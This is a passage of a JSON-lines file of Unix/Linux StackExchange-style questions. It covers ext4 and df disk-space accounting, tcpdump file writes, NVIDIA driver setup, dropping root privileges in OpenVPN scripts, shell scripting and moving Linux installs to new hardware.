would still only take the total used to 1921328166, which is still off. Is it related to some other filesystem overhead? In case it's relevant, `lsof -n | grep deleted` shows no deleted files on this disk, and there are no other filesystems mounted inside this one. Edit: As requested, here's the output of `tune2fs -l /dev/sdc` tune2fs 1.41.14 (22-Dec-2010) Filesystem volume name: big Last mounted on: /media/big Filesystem UUID: 5d9b9f5d-dae7-4221-9096-cbe7dd78924d Filesystem magic number: 0xEF53 Filesystem revision #: 1 (dynamic) Filesystem features: has_journal ext_attr resize_inode dir_index filetype needs_recovery extent flex_bg sparse_super large_file huge_file uninit_bg dir_nlink extra_isize Filesystem flags: signed_directory_hash Default mount options: (none) Filesystem state: clean Errors behavior: Continue Filesystem OS type: Linux Inode count: 122101760 Block count: 488378624 Reserved block count: 24418931 Free blocks: 480665205 Free inodes: 122101749 First block: 0 Block size: 4096 Fragment size: 4096 Reserved GDT blocks: 907 Blocks per group: 32768 Fragments per group: 32768 Inodes per group: 8192 Inode blocks per group: 512 Flex block group size: 16 Filesystem created: Wed Nov 23 14:13:57 2011 Last mount time: Wed Nov 23 14:14:24 2011 Last write time: Wed Nov 23 14:14:24 2011 Mount count: 2 Maximum mount count: 20 Last checked: Wed Nov 23 14:13:57 2011 Check interval: 15552000 (6 months) Next check after: Mon May 21 13:13:57 2012 Lifetime writes: 144 MB Reserved blocks uid: 0 (user root) Reserved blocks gid: 0 (group root) First inode: 11 Inode size: 256 Required extra isize: 28 Desired extra isize: 28 Journal inode: 8 Default directory hash: half_md4 Directory Hash Seed: 68e954e4-59b1-4f59-9434-6c636402c3db Journal backup: inode blocks"} {"_id": "110329", "title": "Is there something wrong with df output?", "text": "I'm using the command `df -h` to check disk usage on CentOS 6.4. I see an inconsistency with the output. ![df -h](http://i.stack.imgur.com/ft4pN.jpg) look at the line Filesystem: total 490Gb, used 55Gb, and Available 411Gb. What is it mean? I think that 490 - 55 = 435 ?"} {"_id": "15793", "title": "129 MB used space shown in the SD card even after formatting it with mkfs.ext4", "text": "> **Possible Duplicate:** > ext4: How to account for the filesystem space? The full 2 GB space doesn't get shown as free space even after fully formatting it with **mkfs.ext4**. Are these some system files which have occupied the space of 129 MB?"} {"_id": "56782", "title": "make install - how to use wget, not curl", "text": "I do not have root access on my Ubuntu but want to install `git`. I was following this tutorial but when running `make` or `make install` it says `curl` is not installed. **Can I use`wget` instead if this is a `make` config setting?**"} {"_id": "56786", "title": "remotely query text file associated with an instance of vi", "text": "I have opened several text files (`a.txt`, `b.txt`, `c.txt`, ...) in different sessions of `vi` launched from different instances of a `bash` shell. Having then accessed that machine remotely, I wish to determine which session of `vi` is associated with a particular text file (e.g., `a.txt`) and specifically close that session, preferably while saving the current contents of the buffer (as opposed to executing a process `kill`). How can these actions be performed?"} {"_id": "148035", "title": "Is dash or some other shell \"faster\" than bash?", "text": "I always thought that the only benefit of using dash instead of bash was that dash was smaller, and therefore many instances of dash would start faster at boot time. But I have done some research, and found some people migrating all their scripts to dash in the hope they would run faster, and I also found this in the article DashAsBinSh in the Ubuntu Wiki: > The major reason to switch the default shell was _efficiency_. bash is an > excellent full-featured shell appropriate for interactive use; indeed, it is > still the default login shell. However, it is rather large and _slow to > start up **and operate**_ by comparison with dash. Nowadays I've been using lots of bash scripts for many things on my system, and my problem is that I have a particular script that I'm running continuously 24/7, that spawns around 200 children, which together heat my computer 10\u00b0C more than in normal usage. It is a rather large script with lots of bashisms, so porting them to POSIX or some other shell would be very time consuming (and POSIX doesn't really matter for personal use), but it would be worth if I could reduce some of this CPU usage. I know there are also other things to consider, like calling an external binary like `sed` for a simple bashism like `${foo/bar}`, or `grep` instead of `=~`. **TL;DR** is really bash slower to start up **and operate** in comparison with dash? Are there other Unix shells which are more _efficient_ than bash?"} {"_id": "56788", "title": "How to install master branch of freeradius on Centos", "text": "Could someone take me through the steps to install the master branch of freeradius on a fresh Centos 6 installation?"} {"_id": "25714", "title": "How to set domain name in Crunchbang GNU/Linux?", "text": "How can I set the domain name in GNU/Linux?, I am using Crunchbang and I need to set the domain name for my LAN network. EDIT: Let me talk more about my problem: I need to configure a LAN network for three or four PCs with GNU/Linux(college project): PC1: acting as server -- hostname = \"server\" -- GNU/Linux Debian Squeeze PC2: client 1 -- hostname = \"crunchbang\" -- GNU/Linux Crunchbang PC3: client 2 -- hostname = \"acer\" -- GNU/Linux Debian Squeeze Crunchbang is based on debian then \"I think\" there is no much difference. I am guiding me with this document and there says that the domain name for all hosts in the network must be the same. The OS in PC1 and PC3 are fresh installations, Crunchbang is the OS what my friend have in his laptop. When I installed debian in PC1 and PC3 I set the domain name and the host name but now only the last is present."} {"_id": "25715", "title": "Why do some packages use 'make install' while other use 'sudo make install'", "text": "I recently installed LAME encoder on my server to convert wav to mp3 and that worked with './configure, make, make install; I then tried to install OGG encoder and that requires './configure, make, **sudo** make install' - which I cannot do, since I dont have a VPS (and I'd rather not pay $15 a month for a VPN just to install a codec). I'm new to all this, and I understand sudo gives you permissions - but I have been trying to find out _why_ exactly some 'make installs' require sudo access and others dont. I haven't yet found the answer. Again, very knew to this so i'm just trying to learn whats going on."} {"_id": "52787", "title": "Filesystem writes seemingly lost", "text": "I've been experimenting with tcpdump, and I've found some very bizarre filesystem behavior. It doesn't look to be a tcpdump problem as I'll explain in a second. The following command produces no file: tcpdump -w test.pcap Yet this command produces the PCAP file as expected: tcpdump -w - > test.pcap At first I figured that tcpdump must be encountering some error when writing the file that the shell wasn't, so I straced and found that the writes were occurring just fine! open(\"test.pcap\", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4 fstat(4, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff9bf5cb000 rt_sigaction(SIGUSR1, {0x4557d0, [], SA_RESTORER, 0x7ff9bea2ab60}, {SIG_DFL, [], 0}, 8) = 0 write(2, \"tcpdump: \", 9tcpdump: ) = 9 write(2, \"listening on eth0, link-type EN1\"..., 73listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes) = 73 poll([{fd=3, events=POLLIN}], 1, 1000) = 1 ([{fd=3, revents=POLLIN}]) poll([{fd=3, events=POLLIN}], 1, 1000) = 1 ([{fd=3, revents=POLLIN}]) poll([{fd=3, events=POLLIN}], 1, 1000) = 1 ([{fd=3, revents=POLLIN}]) write(4, \"\\324\\303\\262\\241\\2\\0\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\1\\0\\0\\0001\\2\\210P\\34\\3\\3\\0\"..., 4096) = 4096 poll([{fd=3, events=POLLIN}], 1, 1000) = 1 ([{fd=3, revents=POLLIN}]) poll([{fd=3, events=POLLIN}], 1, 1000) = 1 ([{fd=3, revents=POLLIN}]) write(4, \"\\232\\241\\4\\17X\\213\\f9+\\225\\35\\t\\364QF\\223\\242\\7\\217Y\\226\\373l\\231vQ\\354\\223\\250i\\336.\"..., 4096) = 4096 poll([{fd=3, events=POLLIN}], 1, 1000) = 1 ([{fd=3, revents=POLLIN}]) poll([{fd=3, events=POLLIN}], 1, 1000) = 1 ([{fd=3, revents=POLLIN}]) write(4, \"\\34\\226\\346%\\354\\210\\342\\331\\377\\373\\222d\\261\\0\\5\\207wX\\6i`\\0U\\260\\350\\260\\300\\250\\0\\16\\335\\241\"..., 4096) = 4096 test.pcap gets opened as file descriptor 4, and then several writes occur to that descriptor with the syscall reporting that the requested number of bytes was in fact written. Even so, no file is created. I scoured the filesystem for test.pcap and found nothing. What could produce this behavior? tcpdump version 4.3.0 libpcap version 1.3.0 GNU bash, version 4.2.37(1)-release (x86_64-pc-linux-gnu) Linux persephone 3.4.9-gentoo #1 SMP Wed Oct 3 10:02:39 EDT 2012 x86_64 Intel(R) Xeon(R) CPU E5645 @ 2.40GHz GenuineIntel GNU/Linux"} {"_id": "104758", "title": "TPS Based Shell Script", "text": "I am writing a shell script to test my soap web service's load handling. But I am not sure how to simulate the TPS value. Can you help me to find a way to handle that ?"} {"_id": "21873", "title": "How can I create a direct 8khz audio pipe in Ubuntu?", "text": "I'm interested in creating musical programs like these: http://www.youtube.com/watch?v=GtQdIYUtAHg&feature=player_embedded Essentially these programs just generate sequences of integers, which (apparently), when fed directly into a 8khz audio stream (like \"/dev/audio\"), produce interesting music. My problem is that my system does not have /dev/audio. In fact, looking through my /dev, it's unclear to me whether any of the devices is a direct audio interface. I have two questions: 1. Is there a nice package which will let me pipe in a stream of numbers from the command line, and produce a matching 8Khz audio output? 2. If not, how might I go about directly accessing my audio device?"} {"_id": "104751", "title": "How can I track executables created by my user on Linux?", "text": "Using Linux, I would like to track the executables that are executed in my name, including the whole command line (in practice, every exec*() done as my own user). A program I do not control is supposed, in order to handle a task, to execute the program I pass in, but I want make sure it does so, and what options it uses. The program I don't control is sneaky, and seems to change behavior depending on the name of the program it is supposed to execute for the task, so I can't pass in a shell script that would log the info and invoke the real program. Is it possible for me to be informed of all exec*()s done as my user on the system on Linux, including full command line? Short of running `ps` in a loop, that is. I'd rather do it directly on the system on which I work and not require root access, but if need be I can spawn a system on which I have root access, install the programs and investigate there. Using Ubuntu 12.4 LTS."} {"_id": "104750", "title": "Finding the logs in a hacked server.", "text": "My server has been hacked and the hacker managed to ssh as root (I know, horrible mistake on my part). What files should I be looking for to discover the origin of the attack? (At least their IP). The server is really old, it's running Red Hat 9. There wasn't anything important in it, though."} {"_id": "104755", "title": "How can I create a local function in my bashrc?", "text": "My .bashrc had some code that was repetitive so I used a function to simplify it do_stuff() { local version=$1 export FOO_${version}_X=\"17\" export FOO_${version}_Y=\"42\" } do_stuff '5.1' do_stuff '5.2' However, now when I use my shell the \"do_stuff\" name is in scope so I can tab- complete and run that function (potentially messing up my environment variables). Is there a way to make \"do_stuff\" visible only inside the .bashrc?"} {"_id": "127235", "title": "Is data=journal safer for Ext4 as opposed to data=ordered?", "text": "The default journal mode for Ext4 is `data=ordered`, which, per the documentation, means that > \"All data are forced directly out to the main file system prior to its > metadata being committed to the journal.\" However, there is also the `data=journal` option, which means that > \"All data are committed into the journal prior to being written into the > main file system. Enabling this mode will disable delayed allocation and > O_DIRECT support.\" My understanding of this is that the `data=journal` mode will journal all data as well as metadata, which, on the face of it, appears to mean that this is the safest option in terms of data integrity and reliability, though maybe not so much for performance. Should I go with this option if reliability is of the utmost concern, but performance much less so? Are there any caveats to using this option? For background, the system in question is on a UPS and write caching is disabled on the drives."} {"_id": "149995", "title": "NVidia drivers on Macbook Pro (2008) Linux Mint?", "text": "Ok. I am literally installing it from scratch and tracking my process here and now. I've been fighting this for so long. Macbook Pro, 2008 I believe. ~200GB HD. I'm not dual booting. Mint and only Mint. Linux Mint 17 Cinnamon x64 w/ Codecs. In order to boot from USB, I have to edit boot options to include `nomodeset`. I get live desktop up and running. Looks normal. Double click \"Install Linux Mint\" > \"Erase disk and install Linux Mint\" (no encryption, no LVM) > \"Require Password to Login\" (yes Encrypt home folder). Installer finishes without problem. I don't reboot yet. Still on the Live Desktop from the USB, since the laptop uses EFI, I know I need to install efibootmgr. `sudo apt-get install efibootmgr`. Success. Running `sudo efibootmgr` prints out BootCurrent: 0000 BootOrder: 0000,0000,0000,0000,0000,0000,0000,0000,0000 Boot0000* ubuntu BootFFFF* `sudo poweroff`, pull out USB, boot holding F6 to get efibootmgr's boot menu. I haven't touched nvidia drivers yet, so I still need to add `nomodeset` to the boot script. Not setting `nomodeset` will get me to a black screen and nothing ever happens. Booting from the HD and the display is off a little. The Mint splash icon is off center, there's a 1/4 to 1/2 inch gap at the top of the screen where the mouse can't go and nothing is drawn (it's solid black) and the screen generally thinks that it is bigger than it really is. After signing in, the task bar is off the bottom of the screen and there's a couple inches of missing screen off the right hand side as well. Everything else seems to function fine, no discoloration. Need an internet connection. I guess my way to the menu button and click on System Settings > Device Drivers. I insert my USB drive that I previously booted from. I go down to broadcom and click `bcmwl-kernel-source` then Apply Changes. Remove USB. Shutdown, and start back up holding F6 (still need `nomodeset`). Screen is still oversized and off center. I connect to my home network and successfully `ping 8.8.8.8`. On a different computer, I pull up this forum post and run: sudo add-apt-repository -y ppa:ubuntu-x-swat/x-updates && sudo apt-get -y update && sudo apt-get -y install nvidia-current nvidia-settings It finishes successfully. During previous trials, I found that I need an `xorg.conf` for xserver to start. So I run `sudo nvidia-xconfig` and then `sudo reboot` hoping it works. No F6 this time. I shouldn't have to. Now here's the problem I can't fix. After the linux splash, I get the blue background old school dialog saying \"Failed to start the X server.\" The short version of the log is NVIDIA: could not open the device file /dev/nvidia0 (Input/output error) no screens found I can login to a tty console after getting through the blue dialog and I pushed the long version of the log to my other computer's ftp. Maybe it can shed some light. Oh, and /dev/nvidia0 does exist. I have tried setting the `BusID` to `PCI:1:0:0` in xorg.conf as some people have claimed that fixed it for them, but not for me. Running `lspci | grep VGA` lists that my graphics card is `NVIDIA Corporation G84M [GeForce 8600M] (rev a1)`. I've tried running without an xorg.conf, I still get the same error. Running 'sudo startx' is no different. I'm officially out of ideas. If I didn't mention anything above, then I left it at it's default value. I've spent dozens of hours and learned a lot as I've gone, but I'm at my wit's end. Any clue what to try next? EDIT: Here's my xorg.conf generated by `sudo nvidia-xconfig` when I have `nvidia-331` drivers installed."} {"_id": "132663", "title": "How do I drop root privileges in shell scripts?", "text": "The \"--up\" option in OpenVPN is normally used for routing etc. And so it is processed before OpenVPN drops root privileges to run as nobody. However, I am invoking shell scripts that need to run as an unprivileged user. How do I do that? I have studied Drop Process Privileges, especially polynomial's and tylerl's answers, but I do not understand how to implement. I am working in Centos 6.5, and suid is blocked, both as \"chmod u+s\" and as \"setuid()\". There is an OpenVPN plugin (\"openvpn-down-root.so\") which enables scripts invoked by the \"--down\" option to run as root. There could be an equivalent, such as \"openvpn-up-user.so\", but I have not found it. **Edit0** Per Nikola Kotur's answer, I've installed Ian Meyer's runit-rpm. Although the chpst command works in terminal, in the up script it fails with \"command not found\". What works is \"sudo chpst\" plus setting the proper display and language. Please see Why doesn't my terminal output unicode characters properly? Given that, the up script needs these four lines: LANG=\"en_US.UTF-8\"; export LANG GDM_LANG=\"en_US.UTF-8\"; export GDM_LANG DISPLAY=:0; export DISPLAY sudo chpst -u user -U user /home/user/unprivileged.sh & **Edit1** Per 0xC0000022L's comment, I find that \"sudo -u user\" works as well as \"sudo chpst -u user -U user\": LANG=\"en_US.UTF-8\"; export LANG GDM_LANG=\"en_US.UTF-8\"; export GDM_LANG DISPLAY=:0; export DISPLAY sudo -u user /home/user/unprivileged.sh & I'll study man sudoers and update if/when I get sudo alone to work."} {"_id": "140576", "title": "How to enclose a quoted variable in quotes", "text": "I want to call: `./mjpg_streamer -i \"./input_uvc.so -r 320x240\" -o \"./output_http.so -w ./www\"` from a C program, running `system()`. The problem is that I have to enclose shell command in quotes, which arleady exist. How can I fix this?"} {"_id": "149997", "title": "A command that generates both standard error and output", "text": "I want to do some troubleshooting on my bash script. Is there a short and simple command that generates both `stdout` and `stderr` so that I can use `2>&1` on it? Sorry if this looks trivial, but I just can't think of one at the moment."} {"_id": "26063", "title": "How are parenthesis interpreted at the command line?", "text": "While reading up on how to set up `grub`, one article mentioned that I need to use a syntax like echo \\(hd0,0\\) >> /boot/grub/grub.conf or echo '(hd0,0)' >> /boot/grub/grub.conf because at the command line parenthesis have a special way of being interpreted. What is special about the parenthesis? How are they interpreted?"} {"_id": "26060", "title": "How do I downgrade my nVidia Driver in openSUSE 12.1?", "text": "I'm trying to trouble-shoot a problem that I've been having. Downgrading my nVidia driver is about the only thing I haven't tried. I have an nVidea GeForce 6200 and installed the latest driver version 290.10, but \u00cd'd like to try an earlier version. When I search for my driver on the nVidia website, it always brings me to the download page for the latest version. How can I find an _older_ version to install? Here's some potentially relevant information: **OS Information** OS: Linux 3.1.0-1.2-default i686 System: openSUSE 12.1 (i586) KDE: 4.7.2 (4.7.2) \"release 5\" **Display Info** Vendor: nVidia Corporation Model: GeForce 6200 (0x0221) 2D driver: nvidia 3D driver: NVIDIA 290.10 Please let me know if you need anything else."} {"_id": "141470", "title": "AddDefaultCharset ISO-8859-1 not work", "text": "I have upgrade Apache from 2.2 to 2.4 and I am having problems with character encoding. In my pages I have `\u00e8=\u00c3\u00a8` `\u00f2=\u00c3\u00b2` `\u00ec=\u00c3\u00ac` etc... In my `httpd.conf` I have commented the default value and added `ISO-8859-1` (Western Europe) #AddDefaultCharset UTF-8 AddDefaultCharset ISO-8859-1 But this didn't change anything."} {"_id": "141476", "title": "Forced reread of partition table: difference between BLKRRPART and BLKPG ioctl? (Linux)", "text": "When I want Linux to consider newly created partitions without rebooting, I have several tools available to force a refresh of the kernel \"partition cache\": * `partx -va /dev/sdX` * `kpartx -va /dev/sdX` * `hdparm -z /dev/sdX` * `sfdisk -R /dev/sdX` * ... I'm not sure about the difference between these techniques, but I think they don't use the same `ioctl`, like `BLKRRPART` or `BLKPG`. So, **what is the difference between those`ioctl`?**"} {"_id": "153848", "title": "stream edit >GDRLR5L04EQY8D 3931|1166 into >3931", "text": "I have large text DNA sequence files with the following format >name AACTGGGCT I need to parse the name line which currently has extra information and special characters, while keeping any line that doesn't start with > unaltered have (that is a tab not a space between \"D 3\"): >GDRLR5L04EQY8D 3931|1166 GACAAACGCTGGCGGGTGCATGAG want: >3931 GACAAACGCTGGCGGGTGCATGAG I've tried `sed 's/\\>*[[:blank:]]/>/g'` to get rid of the first part but that's not working. Would `gawk` work to get rid of the pipe and number after it?"} {"_id": "64948", "title": "Installation of RHEL and softwares on multiple machines", "text": "In our organization, we have 15 new systems of same hardware. I need to setup all the machines with RHEL 6.0 in it, multiple software's, and lot of basic configuration. I don't have any problem in installing it one-by- one but it obviously takes very much time. Is there any method/technology/script to replicate this to other machines? (I know only kickstart, but that is used only for installation of RHEL)."} {"_id": "151341", "title": "Remove duplicate fields in a given column", "text": "I'd like to remove from a given column ($2 in the example) the duplicate fields (comma separated). Input file: A 1,2,3,4 B 4,5,6,3 C 2,15 Expected output: A 1,2,3,4 B 5,6 C 15"} {"_id": "64942", "title": "A user in a group does not have group access?", "text": "I have a fresh install of ubuntu server 12.10. I have created a group called `www-dev` and a user called dab. the user is in the group and i can verify that by `members www-dev` which returns `dab`. I created a folder called `/etc/test` and that folder has permissions: `drwxrwsr-x root www-dev` if i type `who` i get `dab` if i go into the folder and type `echo 'test' > test` i get access denied! I'm sure it's something simple, but i can't figure out why? thanks in advance!"} {"_id": "119316", "title": "Dual screen for plymouth with NVIDIA drivers", "text": "If I set plymouth to work with drivers the NVIDIA splash screen only appears on one monitor. While if I set it up with the nouveau driver appears on both monitors. Does anyone know how to configure plymouth with drivers NVIDIA to splash screen look at the two monitors?"} {"_id": "153845", "title": "Haskell, C++, AWK, Bash, Lisp ... Which one is faster?", "text": "I was wondering, which of these programming languages are faster at handling big data files of only **strings** : Haskell, C++(Boost), AWK, Bash, Lisp... So far I have found the paper Haskell vs. Ada vs. C++ vs. Awk vs. .... However, this paper is a little out of date."} {"_id": "153846", "title": "Software power off of externally-powered USB drive enclosure", "text": "Is it possible to power off a USB enclosure? Is there a utility or command for communicating with the enclosure? Is this functionality dependent on the enclosure or the drive? My specific enclosure appears as `174c:55aa ASMedia Technology Inc. ASMedia 2105 SATA bridge` and the drive is a Seagate Barracuda ST500DM002."} {"_id": "134098", "title": "Check if a folder has a certain type of file present", "text": "How could I check if a file has a file of extension .java? So far I have: for javaFile in *.java ; do { echo \"The file $javaFile has : \" >> ~/Desktop/externalServers.txt grep -E '^[^/]{2}.*http' $javaFile >> ~/Desktop/externalServers.txt grep -E '^[^/]{2}.*ftp' $javaFile >> ~/Desktop/externalServers.txt echo \"----------------------------------------\" >> ~/Desktop/externalServers.txt sed -e \"s/[[:space:]]\\+/ /g\" ~/Desktop/externalServers.txt >> ~/Desktop/externalServersTemp.txt rm ~/Desktop/externalServers.txt mv ~/Desktop/externalServersTemp.txt ~/Desktop/externalServers.txt sed 's/^\\n//' ~/Desktop/externalServers.txt >> ~/Desktop/externalServersTemp.txt rm ~/Desktop/externalServers.txt mv ~/Desktop/externalServersTemp.txt ~/Desktop/externalServers.txt } done But every time I do that, I get the error: > grep: *.java: No such file or directory Basically I want to first see if the folder has any files of type .java and only continue with the script."} {"_id": "130735", "title": "Icecat install fails with `GLIBC_2.14' and `GLIBC_2.17' not found", "text": "I am using gNewSense, but a lot of stuff should be working the same as in Debian. I followed the instructions: http://zachwick.com/posts/how_to_install_gnu_icecat_on_debian_wheezy.html The first time I installed it, I could use the `icecat` command, but I had another Firefox installation which seemed to interfere. I removed the other Firefox installation and the former Icecat install and tried to install Icecat again. Now I cannot even execute `icecat`: bash: icecat: command not found `which icecat` also shows nothing, even though the directory exists. ls -a /usr/local/bin . .. icecat icecat-24.0 When I try to execute the file inside the icecat-24.0 or the icecat directory I get: /usr/local/bin/icecat/icecat: /lib/libc.so.6: version `GLIBC_2.14' not found (required by /usr/local/bin/icecat/icecat) /usr/local/bin/icecat/icecat: /lib/libc.so.6: version `GLIBC_2.17' not found (required by /usr/local/bin/icecat/icecat)"} {"_id": "126297", "title": "Use different username by default for a specific host", "text": "I have a different (assigned, non-changable) username on one of the servers I log to regularly, and I would like to avoid writing it down every time. Can I make these lines [tohecz@localhost ~]$ ssh myserver.cz [tohecz@localhost ~]$ ssh anotherserver.cz behave as the following? [tohecz@localhost ~]$ ssh tohecz@myserver.cz [tohecz@localhost ~]$ ssh anotheruser@anotherserver.cz"} {"_id": "64371", "title": "Why are multiple command-line terminal consoles available/running at the same time on RHEL systems?", "text": "I'm studying for the RHCSA and am trying to wrap my mind around a seemingly basic concept: terminal consoles. I don't understand how/why RHEL systems make 6 terminal consoles (`/dev/tty _N_`) available for use. If I'm managing a server (or workstation for that matter), under what circumstances would I want to hop between terminals (e.g. `Ctrl`+`Alt`+`F2`)? Wouldn't I just be connected to one terminal and work from there?"} {"_id": "75099", "title": "How can I kill gnome shell widgets?", "text": "I have some gnome shell widgets that I need to be closed. I am unable to find which processes are behind them. Any idea how can I kill them?"} {"_id": "75094", "title": "Count number of processes with ps -Af", "text": "I have to count the number of emacs processes on the machine I'm remote using, by using the command ps -Af. Where do I even start?"} {"_id": "153270", "title": "Searching out a pattern from Logs", "text": "The format of the logs is in this manner: Junk Junk Junk : Junk Junk Junk:IP/Port Junk Junk I want to search using the `IP` and the output should be only the `IP/Port` part of each line in that log file. I tried out all possible combinations with `grep`, `cut` and `awk` and all that `bash` I know :D so is it possible? Or will I have to go on with some log parsing tools? **Edit:** Please note that the format is not exactly the same, the position of `Junk:IP/Port` may change such that its not possible using `awk '{print $7}'` **Update:** Adding a sample log DATE NAME-FIREWALL : %RULE-NUM: Teardown TCP connection PKT-NUM for LAN1:X.X.X.X/XX to LAN2:X.X.X.X/XX duration 0:0:0 bytes XXXX TCP FINs DATE NAME-FIREWALL : %RULE-NUM: Built inbound TCP connection PKT-NUM for LAN1:X.X.X.X/XX (X.X.X.X/XX) to LAN2:X.X.X.X/XX (X.X.X.X/XX) And I need to search and get the IP/Port part alongside LAN2."} {"_id": "153951", "title": "Sum up the selected fields", "text": "I have a file with a numeric value in character positions 86 to 99. I want to sum up the entire amount present in the file, only for lines which contain `RS` at position 124-125. I am trying to do like `amt=$(cat custbills.cmp| cut -c124-125|grep 'RS'|cut -c86-99|awk '{s+=$1 } END {print s }')` and when i do `echo $amt` it is showing Zero. what is wrong in this. Fields in the file from 86 to 111 like `0000000016.65201406051101` In this `16.65` is amount. I have 300 records in this file. Sample data from 1 to 136 fields: `reportname 123456-78956 customername 0000000016.65201406051101 10RS 000000`"} {"_id": "2865", "title": "Moving linux install to a new computer", "text": "I know that it can, in some circumstances, be difficult to move a Windows installation from one computer to another (physically move the hard drive), but how does that work on linux? Aren't most of the driver modules loaded at bootup? So theoretically would it be that much of a hassle? Obviously xorg configs would change and proprietary ATI drivers and such would have to be recompiled (maybe?). Is there more to it than I'm thinking of? Assume the 2 computers are from the same era, ie both i7s but slightly different hardware. Update: Thanks for the answers. This is mostly for my own curiosity. I have my linux system up and running at work, but eventually I'd like to move to a computer that I can get dual video cards into so I can run more than 2 monitors. But not any time soon"} {"_id": "30754", "title": "Getting new server. How do I move everything over?", "text": "> **Possible Duplicate:** > Moving linux install to a new computer A buddy of mine has found me a new server for our role-playing forums we run and my other web sites. I finally have my current server stable and running good though it is a bit slow (AMD 2400+ 2 GB RAM). I am running Ubuntu 11.4 (maybe?). I don't know what I am getting yet or if there are hard drives in the system. If there are no hard drives, can I just put my hard drive from the existing computer into the new one? If there is a hard drive (or RAID), what would be the best approach to migrate the server to the new one? I am running LAMP with WordPress, phpBB and couple other small web applications. I also have SVN running. That is basically it. I keep all software up-to-date."} {"_id": "67282", "title": "Copying a working Linux instead of installing a new one", "text": "It is possible to move an installed Linux from one drive to another or from one disk to another by two methods: 1. `dd` command which copies sector by sector including boot sector 2. `cp` command, and then installing/updating `grub` These are very handy and easy methods, but I have no seen any instruction for using these methods for installing a new Linux on a new machine. Is there any disadvantage for this? For example, we can boot from a Live CD, and copy the files of a minimal installed Linux (without grub); then installing grub through `chroot`. In other words, we can have a minimal linux on a USB drive, and install it on any machine (by boot from it, copy itself, chroot, etc). The only things that should be altered (to my knowledge) is `grub` and `fstab` from on machine to another. Is there any disadvantage or drawback? NOTE: I know that Live CD installers somehow do a similar task, but I am curious if simple copying can cause problem on a new machine?"} {"_id": "153271", "title": "How do I make \"at\"-tasks repeat at a specific time?", "text": "I want to schedule a script to run every Monday at 9am. How can I do this? I can only find examples for given days, not repeating things with `at`. Cron is not a solution."} {"_id": "129188", "title": "Ubuntu displays Shutdown window then turns off system", "text": "Some weeks ago, I've downloaded `unetbootin` both Windows and Linux versions to make a startup Ubuntu USB. I was going to use it to rescue my damaged Ubuntu partition. Tried the Linux version but didn't work 'cause some software was missing. Then I used the Windows version. Since, my computer has been faulty. Shutting down in the middle of a session whether I'm in Windows or Linux (Hard Drive or Live USB). Then keeps turning on/off the system until I remove power. I read somewhere a warning NOT to hit the Reboot button to close `unetbootin`. Which I might have. That might be what started the whole trouble. Some space (around 100MB) was used on my Windows partition, certainly to corrupt my system. Also on the Live USB I've made there were some files like !!MS1826. NRI (about 1GB big) which had nothing to do with the Ubuntu ISO. I cleaned the USB, made a fresh Live. After going through some forum threads, I fixed the Windows partition. But I still wasn't sure the problem (a virus?) was gone. I plugged in the hard drive back. And run Windows for about 6 hrs, nothing wrong, no shutdown. Then next day as I was browsing Live (with the hard drive in), that Shutdown window showed up again. And I was thinking 'Damn,this thing is back again'. If I'm not mistaken, I've got the `unetbootin` from their homepage on SourceForge. Is it that the software packages on that page are corrupted or is a virus using that page as a link to infect computers? I saved many logs about the issue. I've attached to this post the `syslog` file. If you want more,just ask and I'll post it. To get the system going again I had to remove everything NO hard disk, no ram, no cmos battery. After some time, I put the ram back then many trials ensue and at last the system is back. No more power On/Off, no more shutting down. And I'm not using the hard disk for now. Until I find the cure to this issue. With nothing else on board then Ram and/without my Live USB,the power On/power Off fault still occurs. So I think my Bios may be infected by that 'virus'. In which case, I'll have to flash it. Regarding the hard drive, I'm in the dark. My system is a DELL Inspiron E1405, 4GB Ram, 80GB hdd. Now I hope someone will explain what this is all about. And that I will get enough help to repair the system. Thanks in advance for all answers, Etonam."} {"_id": "81977", "title": "How to hide an OpenBSD 5.3 server as it would be a windows server or something else?", "text": "There is an OpenBSD 5.3 server. It only listens on port 443 with an apache (on higher port an sshd listens, but port knocking is used). How can I hide the servers operating system/webserver to be recognized as something else thatn OpenBSD. ex.: some Linux distribution, etc."} {"_id": "101986", "title": "Measure time to get DHCP address?", "text": "Is there any tool or way to measure how much time your DHCP router needs to give you IP address? I'm sure that there is something, as it's pretty important when debugging network."} {"_id": "57433", "title": "Installing Fedora on VMWare error: CPU disabled by guest operating system", "text": "When I try to install Fedora 16 on VMWare I'm getting the error CPU has been disabled by guest operating system. Any clues?"} {"_id": "57435", "title": "Change/Create permissions for a folder", "text": "How can I create (if the folder is new) or change (if the folder was already existent) permissions for a folder? In particular, I want to create a subdirectory in `/etc/bind/` where I can put the `named_dump.db` file, so I've to create the new directory with write permission for `bind` user and group. First of all, is it right? And if I want to change `/etc/bind/` permissions and save there `named_dump.db`?"} {"_id": "101980", "title": "Ubuntu - Install Options", "text": "I have three possibilities to installing and running Ubuntu as my main operating system. 1) Install onto an external SSD: Obviously, this would mean installing onto the External SSD and connecting through USB. I would have my main drive at start up select this driver, if not, it will select the Mac boot up (therefore, I don't have to completely remove OSX). I will also make nightly back-ups of my SSD to another external HD plugged into my main computer. 2) I completely remove OSX and install Ubuntu onto my main machine, use the external SSD to store all the files and libraries needed to carry out my programming duties. I prefer option one since I can take the external HD to work with me and just boot straight into there. I'm just asking for your opinions guys. P.S. Also, I'm running VMWARE at the moment. Can I therefore just use the .iso that I already have? I don't really want to completely re-install Ubuntu as on the VMWARE I have already installed a large number of libraries."} {"_id": "44423", "title": "Getting sound working on Linux mint 13 Mate", "text": "I have just installed linux mint 13 and I haven't used linux before so I apologise upfront if this question seems basic. I am unable to hear any form of audio on file which I try to play in any \"media playing\" application but I am not sure why. When I log onto the system I get the start-up sound (before entering login details). I can hear audio from my speakers if I right click the speaker icon, select \"Sound preferences\" > Hardware > select my speakers from the device list and click test speakers. I am also able to hear audio on sites such as youtube. I have run this command lspci -v | grep -A7 -i \"audio\" and I got two results returned as follows: 00:1b.0 Audio device: Intel Corporation X79 series chipset High Definition Audio Controller (rev 05) Subsystem: ASUSTeK Computer Inc. Device 84f8 Flags: bus master, fast devsel, latency 0, IRQ 112 Memory at fa720000 (64-bit, non-prefetchable) [size=16K] Capabilities: Kernel driver in use: snd_hda_intel Kernel modules: snd-hda-intel -- 02:00.1 Audio device: NVIDIA Corporation GF110 High Definition Audio Controller (rev a1) 